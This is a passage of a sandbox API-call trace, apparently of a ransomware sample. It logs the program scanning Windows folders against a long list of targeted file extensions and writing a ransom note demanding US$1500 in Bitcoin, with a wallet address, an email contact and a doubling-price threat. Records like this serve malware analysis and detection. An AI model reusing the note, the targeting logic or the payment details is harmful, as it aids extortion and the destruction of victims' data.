(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.dot") returned 0 [0104.202] lstrlenA (lpString="*.dot") returned 5 [0104.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.docx") returned 0 [0104.202] lstrlenA (lpString="*.docx") returned 6 [0104.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.7z") returned 0 [0104.203] lstrlenA (lpString="*.7z") returned 4 [0104.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.tar") returned 0 [0104.203] lstrlenA (lpString="*.tar") returned 5 [0104.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.bz2") returned 0 [0104.203] lstrlenA (lpString="*.bz2") returned 5 [0104.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.gz") returned 0 [0104.203] lstrlenA (lpString="*.gz") returned 4 [0104.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.mkv") returned 0 [0104.203] lstrlenA (lpString="*.mkv") returned 5 [0104.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.eml") returned 0 [0104.203] lstrlenA (lpString="*.eml") returned 5 [0104.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.msg") returned 0 [0104.203] lstrlenA (lpString="*.msg") returned 5 [0104.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.edb") returned 0 [0104.203] lstrlenA (lpString="*.edb") returned 5 [0104.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.accdb") returned 0 [0104.203] lstrlenA (lpString="*.accdb") returned 7 [0104.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.odb") returned 0 [0104.203] lstrlenA (lpString="*.odb") returned 5 [0104.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.java") returned 0 [0104.204] lstrlenA (lpString="*.java") returned 6 [0104.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.asm") returned 0 [0104.204] lstrlenA (lpString="*.asm") returned 5 [0104.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.pfx") returned 0 [0104.204] lstrlenA (lpString="*.pfx") returned 5 [0104.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.pem") returned 0 [0104.204] lstrlenA (lpString="*.pem") returned 5 [0104.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.p12") returned 0 [0104.204] lstrlenA (lpString="*.p12") returned 5 [0104.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.gpg") returned 0 [0104.204] lstrlenA (lpString="*.gpg") returned 5 [0104.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.vsd") returned 0 [0104.204] lstrlenA (lpString="*.vsd") returned 5 [0104.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.odg") returned 0 [0104.204] lstrlenA (lpString="*.odg") returned 5 [0104.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.raw") returned 0 [0104.204] lstrlenA (lpString="*.raw") returned 5 [0104.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.nef") returned 0 [0104.205] lstrlenA (lpString="*.nef") returned 5 [0104.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.svg") returned 0 [0104.205] lstrlenA (lpString="*.svg") returned 5 [0104.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.psd") returned 0 [0104.205] lstrlenA (lpString="*.psd") returned 5 [0104.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.vmx") returned 0 [0104.205] lstrlenA (lpString="*.vmx") returned 5 [0104.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.vmdk") returned 0 [0104.206] lstrlenA (lpString="*.vmdk") returned 6 [0104.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.vdi") returned 0 [0104.206] lstrlenA (lpString="*.vdi") returned 5 [0104.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.lay6") returned 0 [0104.206] lstrlenA (lpString="*.lay6") returned 6 [0104.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.mpeg") returned 0 [0104.206] lstrlenA (lpString="*.mpeg") returned 6 [0104.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.djvu") returned 0 [0104.206] lstrlenA (lpString="*.djvu") returned 6 [0104.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.tiff") returned 0 [0104.206] lstrlenA (lpString="*.tiff") returned 6 [0104.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.backup") returned 0 [0104.206] lstrlenA (lpString="*.backup") returned 8 [0104.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.pdf") returned 0 [0104.206] lstrlenA (lpString="*.pdf") returned 5 [0104.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.cert") returned 0 [0104.206] lstrlenA (lpString="*.cert") returned 6 [0104.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.docm") returned 0 [0104.206] lstrlenA (lpString="*.docm") returned 6 [0104.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.xlsm") returned 0 [0104.206] lstrlenA (lpString="*.xlsm") returned 6 [0104.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.dwg") returned 0 [0104.207] lstrlenA (lpString="*.dwg") returned 5 [0104.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.nd") returned 0 [0104.207] lstrlenA (lpString="*.nd") returned 4 [0104.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.tlg") returned 0 [0104.207] lstrlenA (lpString="*.tlg") returned 5 [0104.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.lgb") returned 0 [0104.207] lstrlenA (lpString="*.lgb") returned 5 [0104.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.mov") returned 0 [0104.207] lstrlenA (lpString="*.mov") returned 5 [0104.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.xdw") returned 0 [0104.207] lstrlenA (lpString="*.xdw") returned 5 [0104.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.ods") returned 0 [0104.207] lstrlenA (lpString="*.ods") returned 5 [0104.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.wav") returned 0 [0104.207] lstrlenA (lpString="*.wav") returned 5 [0104.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.mp3") returned 0 [0104.207] lstrlenA (lpString="*.mp3") returned 5 [0104.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.aiff") returned 0 [0104.208] lstrlenA (lpString="*.aiff") returned 6 [0104.208] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.flac") returned 0 [0104.208] lstrlenA (lpString="*.flac") returned 6 [0104.208] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.m4a") returned 0 [0104.208] lstrlenA (lpString="*.m4a") returned 5 [0104.208] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napsnap\\f64692e58aa1a7116024bf3c3cbd1352\\napsnap.ni.dll", pszSpec="*.csv") returned 0 [0104.208] lstrlenA (lpString="*.csv") returned 5 [0104.208] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fda0e10, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6fda0e10, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6fdc6f70, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xb0a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="napsnap.ni.dll", cAlternateFileName="NAPSNA~1.DLL")) returned 0 [0104.208] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.208] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6fe39391, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6fe39391, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6fe39391, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f64692e58aa1a7116024bf3c3cbd1352", cAlternateFileName="F64692~1")) returned 0 [0104.208] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.208] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70d8c14d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x70d8c14d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x70d8c14d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x61006e, dwReserved1=0x730070, cFileName="Narrator", cAlternateFileName="")) returned 1 [0104.208] lstrcmpA (lpString1=".", lpString2="Narrator") returned -1 [0104.208] lstrcmpA (lpString1="..", lpString2="Narrator") returned -1 [0104.208] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.209] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="Narrator" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator" [0104.209] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator") returned 55 [0104.209] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70d8c14d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x70d8c14d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x70d8c14d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.210] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.210] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70d8c14d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x70d8c14d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x70d8c14d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.211] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.211] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.211] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70d8c14d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x70d8c14d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x70d8c14d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0bae62c3fc6c327ed24989263988173d", cAlternateFileName="0BAE62~1")) returned 1 [0104.211] lstrcmpA (lpString1=".", lpString2="0bae62c3fc6c327ed24989263988173d") returned -1 [0104.211] lstrcmpA (lpString1="..", lpString2="0bae62c3fc6c327ed24989263988173d") returned -1 [0104.211] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\*.*") returned="*.*" [0104.211] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\", lpString2="0bae62c3fc6c327ed24989263988173d" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d" [0104.211] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d") returned 88 [0104.211] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70d8c14d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x70d8c14d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x70d8c14d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.211] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.211] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70d8c14d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x70d8c14d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x70d8c14d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.212] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.212] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.212] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c5b64b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x70c5b64b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x70ccda6c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x280800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Narrator.ni.exe", cAlternateFileName="NARRAT~1.EXE")) returned 1 [0104.212] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.212] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Narrator.ni.exe") returned -1 [0104.212] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Narrator.ni.exe") returned -1 [0104.212] lstrcmpiA (lpString1="", lpString2="Narrator.ni.exe") returned -1 [0104.212] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\*.*") returned="*.*" [0104.212] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\" [0104.212] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\") returned="" [0104.212] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\HOW TO DECRYPT FILES.txt" [0104.212] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\narrator\\0bae62c3fc6c327ed24989263988173d\\how to decrypt files.txt")) returned 0xffffffff [0104.212] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\narrator\\0bae62c3fc6c327ed24989263988173d\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.213] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0104.213] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.215] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.215] CloseHandle (hObject=0x90) returned 1 [0104.215] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\", lpString2="Narrator.ni.exe" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe" [0104.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.ems") returned 0 [0104.216] lstrlenA (lpString="*.ems") returned 5 [0104.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.db") returned 0 [0104.216] lstrlenA (lpString="*.db") returned 4 [0104.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.dbf") returned 0 [0104.216] lstrlenA (lpString="*.dbf") returned 5 [0104.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.myox") returned 0 [0104.216] lstrlenA (lpString="*.myox") returned 6 [0104.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.myo") returned 0 [0104.216] lstrlenA (lpString="*.myo") returned 5 [0104.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.qbw") returned 0 [0104.216] lstrlenA (lpString="*.qbw") returned 5 [0104.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.qbb") returned 0 [0104.216] lstrlenA (lpString="*.qbb") returned 5 [0104.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.qbm") returned 0 [0104.216] lstrlenA (lpString="*.qbm") returned 5 [0104.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.qbo") returned 0 [0104.216] lstrlenA (lpString="*.qbo") returned 5 [0104.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.qbx") returned 0 [0104.216] lstrlenA (lpString="*.qbx") returned 5 [0104.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.qba") returned 0 [0104.217] lstrlenA (lpString="*.qba") returned 5 [0104.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.qby") returned 0 [0104.217] lstrlenA (lpString="*.qby") returned 5 [0104.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.qbj") returned 0 [0104.217] lstrlenA (lpString="*.qbj") returned 5 [0104.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Narrator\\0bae62c3fc6c327ed24989263988173d\\Narrator.ni.exe", pszSpec="*.ofx") returned 0 [0104.217] lstrlenA (lpString="*.ofx") returned 5 [0104.217] PathMatchSpecA 